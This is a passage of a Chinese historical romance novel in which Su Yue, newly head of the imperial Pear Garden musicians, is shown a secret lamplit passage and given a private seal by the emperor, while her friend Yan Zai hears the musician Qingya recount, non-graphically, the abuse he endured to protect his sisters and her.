他叹了口气,“辜娘子放心,这事我会妥善处置的。其实结识苏意,也是因为娘子,当初听说她是你阿妹,才有意照拂她,一来二去生了情愫,走到今天这步……”边说边摇头,万分遗憾的模样。 苏月听得恼恨,若不是因为苏意这个祸头子,这种人她连一句话都不愿意多说。到临了还要被他恶心一把,真恨不得狠狠啐他两口,乾阳殿里那个人虽然嘴坏又小气,但相较于白溪石,简直是神仙一样的存在。果真人是不能拿来比较的,因为有这个贱人的烘托,权大竟也有惊为天人的一天,被他知道了,怕是要笑得嘴角咧到耳朵根了。 “你与苏意很相配。”苏月站起身道,“你两个能凑成一对,真是天作之合,还请白令珍惜这段缘分。我今日专程走这一趟,只为这一件事,白令既然应准了,那我就回去等太常寺的文书送到梨园了。但愿白令不要让我等太久,我性子急,若是等得不耐烦了,恐怕会先白令一步找到冯大人,届时弄巧成拙,会对白令不利的。” 她说完这番话,不等白溪石应答,转身走出了廪牺署的大门。 夕阳西斜,更衬得官衙正堂阴湿晦暗,苏月鄙薄地拂了下衣摆,快步登上马车,放下了垂帘。 等赶回圆璧城,见苏意正在官舍门前徘徊,一发现她,就着急忙慌上前询问结果。 苏月说已经谈妥了,“让他尽快想法子,把你接出去。” 苏意如释重负,笑着牵住了苏月的袖子,“谢谢阿姐,紧要关头还是阿姐心疼我,舍不得我在银台院受苦。” 苏月对她可说嫌弃至极,也衷心为能够送走这座瘟神,而感到神清气爽。 “回去等着吧。”她收回衣袖说,“这两日就不让太乐丞给你安排差事了,只等白溪石那头的进展。若他虚与委蛇,拖着不办,那咱们就上衙门递状纸,他不让你生孩子,你就让他身败名裂。” 这话对苏意来说中听极了,连忙点头,表示阿姐说得对。 “回去吧、回去吧。”苏月心力交瘁,“天色不早了,该用暮食了。” 苏意便应了,心满意足地回银台院了。 从日落到天黑,还有一小段时间,苏月回到自己的直房里,谢天谢地,终于能够松口气了。 当上了梨园使,虽然不用受人差遣处处跟着献演,但老本行也不能丢。她搬过琵琶抱在怀里,抡指拨起了弦。 八月十五的中秋宴上,她还得带领一众乐工登台,排演一出以前不曾有人奏过的《天狩乐》,因此琴技得多加锤炼,确保到了那日不会出错。 想起那出《天狩乐》,心潮就澎湃,四部联合的大乐,足有一百二十人之众。加上健舞与软舞配合,可说是空前绝后的盛况,她已经迫不及待要让所有人都看见梨园的变化,要让满朝文武领略华夏正声的磅礴与壮阔了。 脑子里尽是详尽的描绘,从乐工的站位到舞者的出场,还有许多需要调整的地方。想得越多,手里的弦乐奏得越欢快,不知不觉夜都深了。 正醉心声乐的时候,忽然听见身后传来门臼转动的声响,她有些不高兴,料想又是苏意来了。气恼地回头打算教训她,不想定睛一看,来人竟是权家大郎。 他穿着纯黑的燕服,真是从头黑到脚,除了脸和手是白色的,通身没有半点杂色。当然,面色其实也不豫,站在她身后,活像一片巨大的黄梅天。也不说话,就这么居高临下看着她,看得她背脊直发凉,忙放下琵琶站起身,朝他行了个礼,“陛下来了?” 皇帝乜了她半晌,发出一声冷哼,“辜娘子如今忙得很,连着好几日都不见踪影,朕只好亲自来看看,你究竟还想不想得起朕。” 苏月这种时候是不怎么在乎面子的,真切道:“自然想得起,每日都要想陛下好几次,不论何时何地。”边说边搬了杌子请他坐,忙着给他面前的杯子斟上了茶。 皇帝还算赏脸,狠狠一撩袍子坐了下来,又狠狠举起杯子呷了一口。 不过她的那句话,到底让黄梅天裂开了一道缝,从缝隙里透出了一线天光,夹带着热辣滚烫的烈阳。虽然他知道,她肯定又在欺君,但就算是假话,听上去也让人通体舒泰。 待要笑,不能笑,皇帝的脸色又沉寂了三分,决定再敲打她一下,“不知感恩的人,朕从来不看好,你今日能坐上梨园使的位置,究竟是谁出了力,你心里可要有数。朕一个日理万机的皇帝,和御史台那帮人唇枪舌战了半天,才给你争取来的机会,你懂吧?” 苏月点头如捣蒜,“很是懂、很是懂,陛下辛苦了。” “还有太后,朕挨了太后的数落,说朕太过纵容你。本来定准了要让你上御前侍奉的,结果一下子又把你放回了梨园……太后百思不得其解,担心朕要孤独终老……”他调转眼眸瞥了瞥她,“你知道这话,对朕的伤害有多深吗?朕为了成全你的志向,经受了朝臣的反对,太后的责骂,这份忍辱负重,若不说,恐怕你永远都不会知道。” 苏月低垂着脑袋说:“我知道啊,我今日遇见裴将军了,他就是这么告诉我的,让我对陛下肃然起敬,感激涕零。” 这下皇帝的唇抿得愈发紧了,他知道她见过裴忌,还说了好几句话。本以为她会有些心虚,不敢提及,不曾想她就这么大喇喇地说出口,丝毫不在乎旁人的感受。 他的沉默,让苏月有些不安,讪讪抬头看了他一眼,“陛下怎么不说话?” 皇帝道:“你想让朕说什么?朕的辛苦,你得通过裴将军之口才得知,让朕深感失望。” 苏月揉捏着衣角道:“也不是非得通过裴将军之口,是恰好说起……” “朕是你们恰好提及的谈资?”他抬起了眉,“可笑!” 这就是个浑身长刺的刺猬,怎么翻滚都能扎你一下。亏她先前还觉得他惊为天人,如今看来,和白溪石的讨厌程度不相上下。 “陛下,您有点不讲理。”她壮着胆子说,“不提您,您怨我忘恩负义,提起您,您又觉得我拿您当谈资,那您要我怎么办?” 皇帝语窒了,犹豫了片刻才道:“你入职有两日了,为何不进来向朕回禀近况,还要朕特地赶来责问你?” 反正就是计划又一次失败了,本想晾着她,没想到自己最后竟被她晾了。原先想好的七日不见,他忍到第四日,忍无可忍,还是决定纡尊降贵,来找她的不痛快。 苏月有自己的一番说辞,“正是因为刚就职,忙得脱不开身,且也没有做出什么成绩来,不好意思进宫面圣。以前的梨园使,难道也是两日一回禀吗?我以为没有大事,不必劳烦陛下……” 皇帝说:“简直混账,你和以前的梨园使一样吗?你是朕亲自任命的,朕对你寄予厚望,你不知道吗?” 又被寄予厚望了,以前他对裴将军也寄予厚望,那么九去一进一,自己也算和裴将军产生了一点联系。 她抿唇笑起来,她越笑,皇帝越不自在,“你在美什么?朕告诉你,朝中的职务你只能做到梨园使,再没有升迁的机会了,明白吗?” 苏月点头不迭,“明白、明白。卑下只要能够把梨园翻天覆地整改一番,就已经很高兴了。”语毕偏头打量他,好奇地问,“陛下,您穿着夜行衣来找我,不会是翻墙进来的吧!” 他脸上又挂不住了,“朕怎么会翻墙,朕开辟了专门的通道,用以避人耳目。朕同你说,你做了梨园使,梨园乐工有千把人,随时会出现意想不到的纰漏,让你措手不及,无法应对。这时这条通道便有了用武之地,你可以长驱直入找到朕,随时求助于朕,让朕为你解决难题,可是很方便?” 他说到最后很有些骄傲,苏月呆呆望着他,说感动是真感动,这人虽然极不讨喜,但他的心意如日月昭昭,半点不掺杂质。 “还是陛下想得周到。”她伤感地说,“上回左翊卫将军逼颜在单独去给她奏曲,我就想进宫求您,可惜隔着两座城,层层通传,来不及。” 他笑了笑,“所以啊,开了这么个通道,你若有事找朕,就不怕耽误时机了。不过要备好铜钱,这个很要紧,千万别忘了。”说着朝外指了指,“你随朕来,朕带你认认路。” 苏月忙掖着两手,跟在他身后出了官舍。 七拐八扭的通道十分隐蔽,拐了不知几个弯,终于到了一扇小门前,皇帝将手里的钥匙交给她,“平时要落锁,不到要用之时,不能开启。” 苏月点点头,捏着钥匙上前开门。门扉一推开,便看见一条笔直的巷道出现在眼前,每十步便有一个小灯亭,将这漆黑的夜,划出了一道闪闪发光的口子。 她心头颤了颤,回身看了他一眼。 一身黑衣的皇帝志得意满,负着手道:“看朕干什么?灯油钱从你俸禄中扣除,有一日算一日,不赊不欠。” 第 43 章 真是个不经夸的人, 还没等她把好话说出口,他就已经把她的嘴堵上了。 苏月很不服气,“怎么还要每日扣?我又不是每日去见您, 一晚上得浪费多少灯油,我的俸禄就那么一点,我不干。” 皇帝鄙夷地瞥了瞥她, “你太斤斤计较了,灯油能烧掉几个钱, 就把你烧穷了?这巷道里的灯必须每晚都点, 因为没有值守的人, 你若是半夜要找朕, 谁给你点亮?” 苏月道:“我做什么要半夜去找您?我不能白天去吗?” 皇帝咂了咂嘴,“事发突然啊,半夜出的才是真岔子,所以要急匆匆找朕。” 她却并不认同,“哪来那么多的岔子, 就算有,我如今不是以前的小乐工了, 自己能把一切解决好。” 皇帝凉笑, “真的吗?这上都王侯将相云集, 随便扔快砖都能砸死好几个。强权之下, 你这小小的梨园使可不够瞧, 没有朕给你撑腰, 谁会将你放在眼里?” 那倒是实话,权贵们的霸道猖狂她不是没见识过。这上都现在到处都是有军功、有特权的人,真要遇上点什么,没有他出面, 事情恐怕真的无法平息。 既然如此,何不想个折中的办法呢。 “陛下,您身上有没有什么能证明身份的东西,赠一个给我吧。”她阿谀地说,“若是遇上了解决不了的事,也好让我救个急,先应付过去。” 皇帝一哂,“证明身份的东西?传国玉玺你要不要?” 又来噎人了,他就学不会好好与人说话! 她悻悻然,不吭声了,皇帝自然也有他的考虑。 把便利都给她预备好,岂不是断绝了她去找自己的可能吗。他每日处置朝政虽然很忙,但也期待着她能去看望自己,给这日复一日的沉重增添一点惊喜。尤其深夜……他非常欢迎她的光顾。像那日坐在龙榻上,躲在帐中聊天,现在想来也回味无穷啊。 不过碍于面子,不能把想法都说出来,免得她恃宠而骄,笃定他非她不可。 “反正就是……你来,朕妥善给你解决。那些莽夫可都粗野得很,何必你一个女郎去应付。有朕,你躲在朕身后坐享其成,世上还有比这更好的事吗?” 苏月转过头,又望了望灯火通明的巷道,火光跳动的每一下都让她感觉肉疼──那可都是钱啊! 要说出息,这人真是不大,这么吝啬,不愧是商贾世家出身。 皇帝顺着她的视线看过去,这巷道如此安排,他是很满意的。但她抠门,舍不得灯油钱,那么只好另想办法,安抚住她。 “梨园使的俸禄,每月是六两银子,另加五斗米。朕想了想,你是女郎,每月花销比男子多,要用胭脂水粉,还要添些头面首饰。”他仔细斟酌了下,最后打定主意,“这样吧,多给你添上二两,不算公账,算少府支出,你看怎么样?” 少府与大府不同,是皇帝的私人财库,那么这笔钱就算皇帝个人对她的补贴了。虽说名目是用来添妆,其实是补贴灯油钱,这人果然除了嘴硬,其他地方还是软的,只是又闹得苏月有点不好意思,“这么一来,我的俸禄都赶上太常寺卿了,恐怕不大好吧!” 皇帝道:“好不好,朕说了算,你无需考虑那么多。这下巷道每夜点灯也不要紧了,一路灯火夜夜为你而亮,辜娘子,你是不是感到很幸运?” 苏月连声应承,“得遇陛下,实在是卑下无尚的荣幸啊。” 皇帝有些解气地想,当初不曾答应他家的求亲,如今后悔了吧!早知道他是这么好的郎子,应当哭着喊着要嫁给他才对。 不过人之际遇,也是应时而变的,可能因为求而不得,他才会花这么多心思在她身上。如果得来太容易,也许就会忽略她的感受,忘了夫妻情分也是需要维护的了。 什么都懂的陛下,大多时候爱在心头口难开。他是行伍出身,铁血男儿怎么能把爱与不爱挂在嘴上,又不是整日讨好人的小白脸。所以为了杜绝因爱卑微,他得强挣面子,即便处处为她着想,也要显得孤高独秀,毫不在意。 当然,想化解他的强势易如反掌,只要她说两句软乎话,他就算退到了悬崖边上,也还能再让半步。于是犹犹豫豫,掏啊挖地,从蹀躞带上解下个牛皮袋,又从牛皮袋里倒出一个精巧的小盒子,朝她手上递了递。 苏月不明所以,迟迟接了过来,“这是什么?” 皇帝别开了脸,蹙眉道:“你不是要朕身上携带的东西吗,给了你,你又明知故问。” 苏月闻言,小心翼翼把这玲珑小匣打开,里面卧着一方指甲盖大小的玉章,翻过来看,上面刻着“至正”二字。 皇帝说:“这是朕的闲章,平时作书画落款所用,虽然不能和玉玺相提并论,但朝中文武百官都知道这方印的来历,你带在身上,也诚如护身符一样。”说完不忘又叮嘱一声,“善加利用,不要拿它狐假虎威,打着朕的名头为非作歹。” 苏月满心欢喜,低头嘟囔:“我何时为非作歹过……不过这小印真好,有了它,就再也不怕那些欺人的权贵了。” 其实单凭她和皇帝陛下的渊源,上都已经没有几个人敢去招惹她了,可即便如此,她不在眼皮子底下,皇帝还是觉得不甚安全。多给她一点倚仗,她才能更好地保护身边的人,这不单是为了她,也是为了更多梨园子弟。 皇帝思忖一番,觉得连大义都兼顾了,实在好得很。今日从南到北固然花费了一些时间,但见过她,清扫了一下裴忌在她脑子里留下的印象,他的目标圆满完成了,已经很令自己满意了。 不过犹不死心,还得再追问一句,“你觉得朕与裴将军,哪个更好?” 这个问题问出来丢人,但困扰了他很久,有机会还是要打探明白的。 苏月则显得有些茫然,“陛下与裴将军不一样,很难分出谁好谁坏。在我心里,你们都很好,裴将军正直,陛下大度,都是卑下最尊敬的人。” 可他又不是滋味了,“朕怎么觉得正直比大度评价更高?你在捧他踩朕,以为朕听不出来?” 这人的小肚鸡肠,真是彻底发挥到了极致,苏月无奈地说:“那我换个词儿?陛下宏雅,光明磊落,谁要说陛下不好,我头一个不答应。” 这才像话,皇帝得到了满意的回答,也就不同她计较了。不过打蛇要打在七寸上,重要的事须得再重申一遍,帮她加深印象,“裴忌这人还是不错的,能征善战,深得朕心。听说十月里就要成亲了,到时候朕要随一份大礼,祝贺他们夫妇百年好合。” 苏月觉得这人简直哪壶不开提哪壶,她好不容易平复的心情,又被他勾出了绵绵的伤感。 “不说这个了。”她转开身,在巷道上来回踱步,这可是她的巷道啊,走在上面很有安全感,边走边问他,“您知道我今日忙了些什么吗?我去见了白溪石,因为我那不成器的堂妹被他给骗了。我本想禀报太常寺卿查办他,可又不能不去顾及阿妹,只好捏着鼻子和他交涉。” 皇帝对她身边发生的事,大致还是有些了解的,“冯抱真让他做了廪牺署的令,太过心慈手软了,应当收集罪证送到朕面前来,朕可以让他有更多下降的可能。如今这件事却难办了,若是把他一贬到底,你那堂妹过得不好,将来势必要麻烦你。” “所以说只有自认倒霉。”苏月抚了抚额头道,“若非上都没有至亲在,我才不去管他们的闲事。” 皇帝随口曼应,“再等等,过几日就有了。” 苏月没听真切,偏头追问:“您说什么?” 皇帝怔了下,心道好险,差一点就说漏嘴了。辜家全族已经到了襄阳,至多再过十来日就要入上都了,这个秘密保守到了现在,倘或中途被她识破,那可就功亏一篑了。 于是东拉西扯补救,“女郎要出阁,家里人不是得到场吗。她自有双亲,以后不用你去过问……你瞧瞧路上这墁砖怎么样,要是觉得不称脚,朕让人换成青石板。” 苏月说不必了,“这么大的挑费,又要我来承担,我没钱。” 皇帝十分鄙夷,“朕几时也没让你吃过亏,你还做这抠搜样,讨厌得很。” 苏月道:“这不是刚立国吗,能省则省,好好的巷道,翻改它做什么。不过这里真僻静,仿佛不在梨园,不在宫中。让卑下想起了家附近的那条小巷子,临着河,常有人在河边点福灯。别的地方都是黑洞洞的,只有那条小巷敞亮,一眼望得到头。我最爱带着妹妹们上那里夜游,穿过小巷,前面就是十泉里,满大街都是各色软糕和香糖果子……”说得垂涎欲滴,眯着眼睛畅想着,“唉,真好。” 皇帝开始考虑,要不要在上都建一条姑苏街,就照着十泉里的样子复刻。免得她想完了家人又想老家,实在不行,照着辜宅建个一模一样的府邸也可以。 不过从她的话里,他隐约品砸出了她不拿自己当外人的感觉。就是将要交心,还差一点儿的那种程度,譬如一会儿“卑下”一会儿“我”,世上哪有人面对皇帝如此从容。总之在他眼里,她不是普通的女郎,而在她眼里,他好像也不是什么正经皇帝。 这就是即将成为夫妻的前兆啊,不用讲什么尊卑,也不用战战兢兢,相处融洽就好。 皇帝贪恋地看着她来回走动的身影,没见她之前还有些不高兴,怪她半道上遇见裴忌,专门停下来搭讪。见了她之后,又觉得这种小事何足挂齿,裴忌都要成亲了,她也定然死心了。世上没有第二个男子比自己更适合她,她要拯救乐工,他把梨园送给她。她想家人,他把辜氏全族迁到上都来。像他这样大权在握又用心的汉子,就算打着灯笼也难找吧! 横竖皇帝心情不错,“明日让国用给你送软糕和香糖果子来,想吃还不容易。今天时候不早了,朕来瞧过你,见你一切都好就放心了。殿里还有好些政务亟待处置,巷道朕独行,不必相送,你回去吧。” 他说完,一个人踏上了回宫的路。黝黑高大的身形在两旁林立的灯亭中穿行,看上去不可一世,却又透出一丝孤寂。 苏月站在那里目送他,他走了一程回头看,发现她并未离开,便抬袖回了回手,“不要对朕依依不舍,要是实在不舍,朕也可以留下。” 吓得她转身便走,砰地一声关好门,飞快落上了锁。 等回到官舍,她才有空仔细思量,门是从她这边锁上的,皇帝陛下下次要想从天而降,可真得翻墙了。 手上的小匣子紧紧握了半晌,终于松开手掌,把它放在了书案上。揭开盖子俯身打量,那枚闲章通体翠绿,很是喜人的模样。翻转过来看,“至正”二字用的是小篆,至正……和权大这人不甚相配,果然还是放在她身上更合适。 遂重新盖好盖子,找出自己的小荷包把它装上,救命稻草就是它了,以后定要随身珍藏。 第二日照常排演中秋的曲目,宫廷燕乐有十部,除了清商伎和国伎这些传统的伎乐之外,又添了天竺伎和安国伎。前朝遗留下来的声乐几近凋零,新朝重立后,像一副日趋寡淡的画作上,重又增添了绚丽的色彩,变得饱满宏大,熠熠生辉。以前大曲主要以演奏为主,现在乐工们有自己的主意,散序用器乐,中序以歌唱,曲破化舞蹈,把有限的时长,横向狠狠地填充丰满了。 于是现在的大曲,再不是初建国那会儿单纯的表演方式了,更具神韵,更有精气。照着苏月的说法,咱们不为取悦王侯将相,只是一心把梨园做强。要令梨园变成天下乐人向往的圣地,首先就要令它空前绝后,光焰万丈。 大家坐在一起小试牛刀,信心十足。颜在击着拍板说:“中秋大宴之后,咱们择个日子,在端门之外摆开阵仗。梨园的创新要让世人都知道,要吸引那些想要一展抱负的乐人加入我们。”边说边快活地扯动苏月的衣袖,“到时候咱们梨园就能像国子监一样,须得通过考核方能入园。以后就再也没人看不起我们了,我们可是梨园的头一批乐师,是后来者仰之弥高的老前辈啊。” 开心的笑声还没尽兴抒发,就被进来的仆妇打断了。仆妇说:“朱娘子,有客到访。” 之前被权贵随意点卯的恐惧还没有消散,乍然听见有人找,顿时吓得颜在一激灵。 “什么人找我?我忙得很,没有时间相见。” 仆妇道:“是个熟面孔,以前也是咱们梨园的人。” 苏月听了,偏头对颜在道:“会不会是青崖来找你了?你可要出去看看?” 颜在反倒更犹豫了,迟迟问仆妇:“来的是男还是女?长得什么模样?” 仆妇道:“是位郎君,俊得很呐。” 仆妇与小部的人不相熟,只负责枕上溪这一片的洒扫和通传。既然说俊得很,想必就是青崖无疑了。 苏月道:“去见一见吧,这么久了,你不也时常惦念他吗。” 正因为分开太久,颜在心里生出些怯懦来。但转念再想想,早前青崖对她有大恩,因为不愿直面这份亏欠就避而不见,实在不近人情。于是只得站起身,喃喃着:“那我去见他一见……不知他好不好……”边说边挪着沉重的步子,走出了小乐堂。 一路向北,官中接待勋贵之家邀帖的地方叫南风谷,精美的小厅间间分明,各有姓名,用以接待不一样的贵客。 颜在被引入了“草木本心”,走到门上就看见坐在茶台前煎茶的人,还是记忆里的眉眼如电,还是一如既往的绝色震心。不过几个月未见,好像变得愈发沉稳了,淡淡朝她望过来,很有一种清贵公子出尘入世的感觉。 “阿姐。”他和声唤她,“来坐下,茶快煎好了。” 颜在呆呆“哦”了声,跣足踩上重席。他温存地替她铺好了坐垫,又在邢窑盏中替她添了茶汤,含笑道:“尝一尝,我近来修身养性,跟着一位茶师学煎茶,今日来看你,正好让你试试我的手艺。” 颜在说好,有些僵硬地端起茶盏,在他的注视下抿了一口。 他问:“如何?”缓慢眨动眼睫,纤长的睫毛像羽扇,拂得人坐立难安。 其实颜在不擅品茶,她也喝不出茶的好坏,只觉香虽香,但有点苦,又有点咸。可她不能扫兴,只能说好,“色如积雪,齿颊生香。” 可青崖却失笑,“我刚才神游太虚,不小心多放了点盐,阿姐肯定品出来了。可你不说破,一味地粉饰太平……还像以前一样。” 颜在顿觉汗颜,自己确实很懦弱,不敢触碰的真相,以为永远不提及,就可以当做没有发生过。 心慌意乱下,她忙岔开了话题,“青崖,你在乐府过得好不好?没有人欺负你吧?” 青崖垂着眼,缓缓收拢桌上的茶器,一面道:“起先难以融入,时候长了就熟悉起来了。前阵子上面忽然下令,让我当乐府乐监,这委任来得不合常理,我想定是辜娘子保举我,在陛下面前为我美言了。” 颜在说是啊,“苏月也不放心你,央了陛下提拔你,况且你有真才实学,定能在乐府有一番作为。日后梨园还要与乐府联手,将大曲推向鼎盛,到时候少不了你的帮忙。” 青崖轻轻捺了下唇角,“只有为着同一个目标,你才能与我一心。可我不想留在乐府了,我想回梨园,回到太乐署……”他眼里浮动着楚楚的光,像一只被人遗弃的猫狗,哀声问,“阿姐,我可以回来吗?可以吗?” 第 44 章 颜在觉得很莫名, “你如今在乐府不好吗?已经当上了乐监,将来还有更广阔的天地。男子要以前程为重,如果中途回到梨园, 岂不是枉废了苏月的良苦用心,又让自己变得一文不名了吗?” 可她不明白,不是每个男子都有野心, 都想扬名立万。然而他的没野心,是不是会让她失望呢……他不敢说, 害怕换来她鄙夷的目光, 更害怕被她看不起。 “我……只是觉得孤寂。”他低下头小声说, “我十来岁便被充入小部, 这些年已经习惯了梨园的日子。” 颜在知道他恋旧,但她觉得放弃乐府的前程,回到太乐署再度沦为普通乐工,实在太可惜了。 “音声部的人,想谋得一个官职不容易, 通常都要科考,再加上通音律, 才能被委派到乐府去。你能当上乐监, 是苏月央求陛下才为你谋得的, 她那时候自己多艰难, 也没有忘记你, 你若是辜负了她的好意, 还有面目回来见她吗?”颜在好言劝慰他,“乐府也好,梨园也好,都是供职的地方, 时候呆得久了,没有什么分别。尤其乐府,人员不像梨园那么多,差事也轻省,对于你这样的小郎君,再合适不过。” 青崖听了她最后那句话,连连苦笑起来,她一直拿他当孩子,殊不知他虽然只活了十五岁,这颗心却已经垂垂老矣了。 很可怕吧,少年的躯壳里,装着一颗腐朽的心,像个鹤发童颜的怪物。他想回来,也不是喜欢梨园的生活,只为眷恋一个人罢了。 她真的不知道吗?还是根本不想知道?从他那次替了她,她的心绪分明有了微妙的变化,不用她说,他都看得出来。 而颜在呢,只是希望他能远离那些对他知根知底的人,去一个对他没有那么大恶意的地方,让一切重新开始。 也或者,多少夹带了一点私心,他每日出现在自己面前,让她的负罪感日渐加深。只要他有一点情绪的波动,哪怕只是皱一下眉,也会让她惴惴不安。她盼着他能越爬越高,高得足以弥补他心里的缺失,这样自己好像可以略感安慰,不用每次见到他,都提醒自己亏欠了他太多。 各有各的心思,都在隐而不发。颜在见他沉寂下来,觉得自己就像个狠心的长辈,逼他离开家乡,逼他出去闯荡一样。 正有些自责时,没想到他忽然蹦出了一句话,“替你那一回,对我来说不算什么,你不必放在心上。我也不会以此作为要挟,强迫你还我的情,你不欠我什么,一切都是我自愿的。” 就像一个好不容易结起的伤疤,被一下子撕开了,颜在顿时脸色发白,无地自容。他的话,让她看清自己心里的丑恶,丑恶得令人发指,却还在冠冕堂皇,故作伪善。 “其实我知道你不愿意见我,”他慢慢说,收回她的茶盏,把杯子连同剩余的茶汤,一齐丢进了釜中,“所以我即便行动自由,也下不了决心回梨园探望你。我究竟做错了什么呢,让你变得如此厌恶我?” 颜在说没有,“我从来没有厌恶过你,我一直感激你,但我无以为报,不知如何是好。” “所以你就加倍对我客套,让我知难而退。”青崖笑了笑,“如今连我想回来,你也一味地推脱,美其名曰对我好。” 那邢窑的小盏色白轻薄,在釜中轻轻翻滚着,偶尔碰上釜壁,发出一声暗响。 颜在看着这只被浸泡的茶盏,忽然没有了辩驳的力气,“你若是想回来,那就回来吧。” 可青崖又改了主意,摇头道:“罢了,还是不回来了。乐府没有人知道我的过往,我也不用顶着别人辛辣的目光,装得铜墙铁壁一般。阿姐,其实那些受过的苦,从来没有让我感到后悔,我护住了我关心的人,我所做的一切都是值得的。”说完略顿了片刻,方才重又续上,“我姓嬴,前朝时期,我的祖父因劝谏触怒了幽帝,赢氏满门入罪,全家几乎被杀了个干净。只有我和两位阿姐因年纪小留了一命,她们充了教坊,我被送进了梨园。她们在教坊受了多少委屈,我不敢去打听,但我知道一定生不如死,我要把她们救出来。有一回我登台,被增王看上了,反正逃不开这个命,我就和增王做了个交易,以命相酬,用自己换她们。” 这些血泪史,他说起来很平静,但听得颜在后脊发冷,如坠深渊。 他并不抬眼看她,封存的记忆需要一个发泄的途径,他从来没有和任何人提起,但今天他想倾诉,也不管她愿不愿意听,自顾自道:“增王不是人,或者说,前朝那些权贵都不是人,他用尽下作的办法折磨我,我料自己必死无疑,却没想到,竟然活了下来。好在他还算守信,把我两位阿姐放了,我以为她们也能活的,没想到一个疯了,一个病了……病了的那个不久就死了,她死后没有人照顾疯子,我那疯姐姐,寒冬腊月里落了水,也没了。” 长久的沉默之后,他深深叹了口气,“死了也好,活在世上只有痛苦的话,还活着做什么呢。她们一死,我反倒觉得轻松了,从此无牵无挂,过一日算一日。但我遇见了你,你的眉眼其实和我阿姐并不像,就是忽然之间的一种感觉,让我觉得可亲。左翊卫将军要你单独赴约,我只有一个念头,我要保护你。他是前朝的降将,我知道他的喜好,我会取悦人,只要我好生服侍他,他高兴了,你就安全了。” 他说这些的时候,颜在泪如雨下,捂住脸哭道:“别说了,青崖……” 他转过头,看了她一眼,“颜在,我像块破布,早就千疮百孔了,多一两处脏污,算不了什么。所以你千万不要觉得难过,也不要觉得自己亏欠了我,我什么都不求,只求你不要刻意疏远我,我就很高兴了。不过我知道,新朝的乐工都是良家子,和我们这些前朝的贱籍不一样,我想接近你,都唯恐玷污了你,你与我保持距离,也是应当的。” 这番话说完,他像耗尽了力气,挣扎着站起身道:“我该回去了,来了半日,喋喋不休半日,你一定听累了。梨园近来变革,想必忙得很,你也快些回去吧。” 可待要转身,颜在却拉住了他的手,含泪道:“青崖,我没有看不起你,只会因你救了我,而心存感激。可我从来没有欠人这么多,我不知道该怎么面对你。我怕你感受不到我的心意,怕自己表现得不够好,怕不小心慢待了你,越担心越害怕,所以不敢见你。” 青崖闻言,唇角清浅地抿出一点笑意,低头看她牵住自己的那只手,迟疑道:“阿姐,我脏得很,你不要碰我。” 此话一出,颜在哭得更大声了,“我从不觉得你脏,你不要这样说自己。你只是命运多舛,那又不是你的错,你小小年纪,不该活得自暴自弃,忘了以前的事,从今往后重新开始吧。” 青崖看她满脸是泪,叹息着替她擦了擦,“好了,别哭了,我知道脚下的路该怎么走。只不过有时厌倦了,想找个人说说真心话……我没有朋友,只能想到你。若是你觉得我过于粘缠了,就告诉我,不要委屈自己。还有,我不小了,我经历的事,比别人一辈子经历的都多,你可不要小看我。” 颜在方才止住哭,难堪地掖掖泪,“我哪里小看你了……那你还回梨园吗?若是想回,我去同苏月说,让她帮帮你。” 青崖却摇了摇头,“我仔细思量了你的话,你说得很对,在乐府固然孤单,却能挣出个前程来。这机会是辜娘子替我谋来的,我不能不知长进,让她失望。我在乐府,会一步一步往上爬,你们把梨园经营得那么好,乐府也不能落于人后。” 颜在终于舒展开了眉,勉强笑道:“有你这句话,我就放心了。青崖,你是声乐奇才,说不定将来能够青史留名。” 青崖道:“我不指望青史留名,只要你永远记得我就好。” 他说这话的时候,眼里还带着淡淡的忧伤,就那么垂眼看着她,星辉都被遮盖了。颜在才猛然发现,他原来长得那么高,只是太清瘦,总有单薄之感。 他说要回去了,“今日正好出门办事,经过德猷门的时候,忽然想来看看你。现在人见过了,心也落回去了,该回乐府复命了。” 颜在说好,送他到门前,复又叮嘱他:“你要多吃一些,一顿两碗饭,不能饿着自己。” 他仰唇笑起来,露出尖尖的小虎牙,“我会好生照顾自己的,你放心。”但迈出门槛,心下又有些不舍,踟蹰着回身问,“你还会应邀去各个府邸献演吗?你会遇上很多人,你会不会喜欢上谁,再也想不起我了?“ 颜在觉得他有时候很好笑,一再说自己不小了,可时不时的孩子气,仍旧让人哭笑不得。 “将来会怎么样,我也不知道,但这个问题,我现在就能答复你,无论到什么时候,我都不会忘记你。” 青崖听了,脸上露出如释重负的神情,嘴里喃喃应着好,倒退着步子,往院门上去了。 颜在送别他后回到宜春院,大家仍在加紧排演新曲目,她便重抱起了月琴。等到排演结束,各自散了,她才与苏月坐在一起,说起了会见青崖的经过。 “我总觉得他有些怪,性情忽冷忽热,让我无从下手。” 苏月说:“这还不明白吗,他心里喜欢你,又怕你看不起他,不敢说出口而已。” 颜在很惊讶,“有这样的事?怎么会呢……” 苏月看着廊外流云飞卷,“哎呀,好像要下雨了……”对于好友的迟钝,她实在是五体投地,“若非喜欢你,怎么会舍出性命保护你?自己吃了大亏,又不求你回报,还怕你见了他不自在,一个人躲到乐府去了,可不是用心良苦吗。” 颜在听了,两眼发直,“可我素来拿他当阿弟看待啊……” 这就是有没有缘分的问题了,细说起来两个人差了三岁,女郎总希望找一个比自己大些,成熟稳重可堪依靠的男子。年纪比自己小的,虽说蛮有意思,但过起日子来就不是那么回事了。 当然,她所谓的比自己大的男子里,不包括权家大郎。因为不管他在朝堂上如何呼风唤雨,私下相处时,成熟稳重这个词从来和他不沾边。看见他,她大多时候觉得太阳穴发紧,五内俱焚。 不过自己虽然没有太多经验,但还是要劝颜在一句,“若你没这个心思,还是设法让他知道吧,但要小心一些,别太伤他的心。” 嘴里刚说完,外面响起了雷声,闷鼓一样的震动,贴着地面滚滚而过,眨眼大雨就倾盆而下了。 青崖遗留下来的各种猜想,没有困扰她俩太久,很快就按下不提了。苏月这阵子挺忙的,除了和大家一起练习大曲,检验曲谱,也要查看各个府邸送来的邀帖。以前不知道,只说梨园征调了那么多的乐工,人数是不是太多了,然而自己当了家,才知道一个庞大的王朝要运作,方方面面都离不开礼乐。 宫廷中大型的庆典不算,王侯将相府上的婚丧嫁娶也是要务。她不过随手一翻,册子上登载的一日邀约,就有二十五家之众。还有那些忽来的拜帖,中晌这家要会客,晚间那家有宴饮,要想把这盘棋下活,实在需要统筹调度的能力。 搓搓脸,她开始清点宜春院前头人的人数,这部分乐师得留下半数,以备不时之需。 正在提笔勾选的当口,看见一个人影从外面跑进来,身上被淋得稀湿,站在那里,脚边很快滴出了个小水塘。见了她,就咧着嘴哭,脸上也分不清到底是雨水还是泪水。 “阿姐,一点消息也没有,三日了,还有多少个三日能消磨?”苏意怨声载道,“你那日究竟是怎么和他商谈的,你不是说他一定会把我接出去的吗,如今人呢?” 